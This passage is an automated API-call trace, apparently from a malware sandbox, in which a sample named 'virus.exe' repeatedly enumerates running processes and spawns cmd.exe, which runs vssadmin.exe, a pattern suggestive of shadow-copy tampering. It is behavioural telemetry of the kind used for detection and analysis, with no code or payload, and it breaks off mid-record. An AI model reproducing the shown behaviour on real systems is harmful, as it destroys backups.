lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.582] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.582] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.582] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0259.583] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.583] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.583] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.584] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.584] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.584] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.585] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.585] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.585] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.586] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.586] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.586] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.587] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.587] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0259.587] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0259.588] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0259.588] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0259.588] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0259.589] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0259.589] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0259.590] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.590] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.590] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0259.591] CloseHandle (hObject=0x1a8) returned 1 [0259.591] Sleep (dwMilliseconds=0x1f4) [0260.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0260.142] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.142] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.142] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.143] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.143] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.143] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.144] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.144] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.144] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.145] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.145] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.145] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.146] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.146] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.146] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.147] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.147] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.147] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.148] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.148] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.148] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.149] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.149] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.149] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0260.150] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.150] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0260.150] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0260.151] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0260.151] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0260.151] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0260.152] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.152] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.152] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0260.153] CloseHandle (hObject=0x1a8) returned 1 [0260.153] Sleep (dwMilliseconds=0x1f4) [0260.812] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc4 [0260.814] Process32FirstW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.815] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.815] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.815] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.816] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.816] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.817] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.817] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.818] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.818] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.818] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.819] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.819] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.820] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.820] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.820] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.821] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.821] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.821] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.822] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.822] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.823] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, 